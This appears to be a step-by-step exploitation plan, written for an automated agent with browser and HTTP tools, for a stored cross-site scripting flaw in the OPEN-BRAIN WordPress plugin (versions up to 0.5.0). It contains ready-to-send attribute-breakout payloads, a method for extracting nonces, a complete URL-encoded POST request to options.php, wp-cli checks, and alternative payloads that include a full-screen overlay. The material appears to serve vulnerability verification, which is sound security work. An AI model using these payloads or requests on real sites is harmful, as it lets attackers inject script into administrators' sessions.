OPEN-BRAIN <= 0.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'API Key' Setting

This research plan outlines the technical steps to exploit CVE-2026-3995, a Stored Cross-Site Scripting (XSS) vulnerability in the OPEN-BRAIN plugin.

1. Vulnerability Summary

The OPEN-BRAIN plugin (versions <= 0.5.0) contains a stored XSS vulnerability in its "API Key" settings field. The flaw exists because the plugin uses sanitize_text_field() when saving the setting—which removes HTML tags but does not encode double quotes—and fails to use esc_attr() when outputting the value within an HTML attribute. This allows an authenticated administrator to break out of the value attribute of an input element and inject event handlers (e.g., onfocus, onmouseover).

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/options.php (Standard WordPress Settings API handler) or a custom admin page handler.
• Vulnerable Parameter: The option name corresponding to the API Key, likely open_brain_api_key or ob_api_key (inferred).
• Authentication Level: Administrator (or any user with manage_options capability).
• Preconditions: The plugin must be active and the attacker must have access to the plugin's settings page.

3. Code Flow (Inferred)

1. Registration: The plugin registers a setting during admin_init using register_setting().
   • Sink (Input): register_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field');
2. Storage: When the admin submits the settings form, WordPress calls sanitize_text_field($_POST['open_brain_api_key']). This removes <script>, but leaves " intact. The value is stored via update_option().
3. Output: The settings page renders the stored value.
   • Source: get_option('open_brain_api_key')
   • Sink (Output): echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">';
4. Vulnerability: Since $api_key is not passed through esc_attr(), a value like test" onfocus="alert(1)" autofocus=" results in:
   <input ... value="test" onfocus="alert(1)" autofocus="">

4. Nonce Acquisition Strategy

Since this is an Administrator-level exploit, we must navigate the admin interface to capture the necessary Settings API nonces.

1. Identify Settings Page: Locate the menu item. Based on the slug open-brain, it is likely under admin.php?page=open-brain or options-general.php?page=open-brain.
2. Navigation: Use browser_navigate to reach the settings page.
3. Extraction: The Settings API generates a nonce for the specific settings group.
   • Tool: browser_eval
   • Script: document.querySelector('input[name="_wpnonce"]')?.value
   • Also extract the option_page value: document.querySelector('input[name="option_page"]')?.value

5. Exploitation Strategy

Step 1: Discover Option Name and Group

Navigate to the plugin settings page and inspect the form fields to find the exact name attribute of the API Key input and the option_page hidden field.

Step 2: Formulate Payload

Because sanitize_text_field() is used, we cannot use < or >. We must use attribute breakout.

• Payload: " onfocus="alert(document.domain)" autofocus="
• Mechanism: The first " closes the value attribute. onfocus defines the execution. autofocus ensures the event fires immediately upon page load without user interaction.

Step 3: Execute Update Request

Use the http_request tool to submit the update.

• Method: POST
• URL: http://[target]/wp-admin/options.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  option_page=[EXTRACTED_OPTION_PAGE]&
  action=update&
  _wpnonce=[EXTRACTED_NONCE]&
  [API_KEY_FIELD_NAME]=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22
  

Step 4: Verification of Trigger

Navigate back to the settings page. The alert should trigger automatically due to the autofocus attribute.

6. Test Data Setup

1. Install and activate the open-brain plugin (v0.5.0).
2. Create an Administrator user if one does not exist.
3. No specific shortcodes are required as this is an admin-side vulnerability.

7. Expected Results

• The options.php request should return a 302 Redirect back to the settings page with settings-updated=true.
• The HTML source of the settings page should contain the unescaped payload:
  value="" onfocus="alert(document.domain)" autofocus=""
• In a real browser, the alert box would appear showing the domain.

8. Verification Steps (Post-Exploit)

Use wp-cli to verify the state of the database:

# Check the stored option value
wp option get open_brain_api_key --allow-root

# Verify the value contains the double quotes and event handler
wp option get open_brain_api_key --allow-root | grep "onfocus="

9. Alternative Approaches

If autofocus is filtered or the browser prevents auto-focusing, use a different event handler:

• Payload: " onmouseover="console.log(1)
• Trigger: Move the mouse over the API Key input field.
• Payload (Style injection): " style="width:1000px;height:1000px;position:fixed;top:0;left:0;" onmouseover="alert(1) (This makes the element cover the screen to force a mouseover).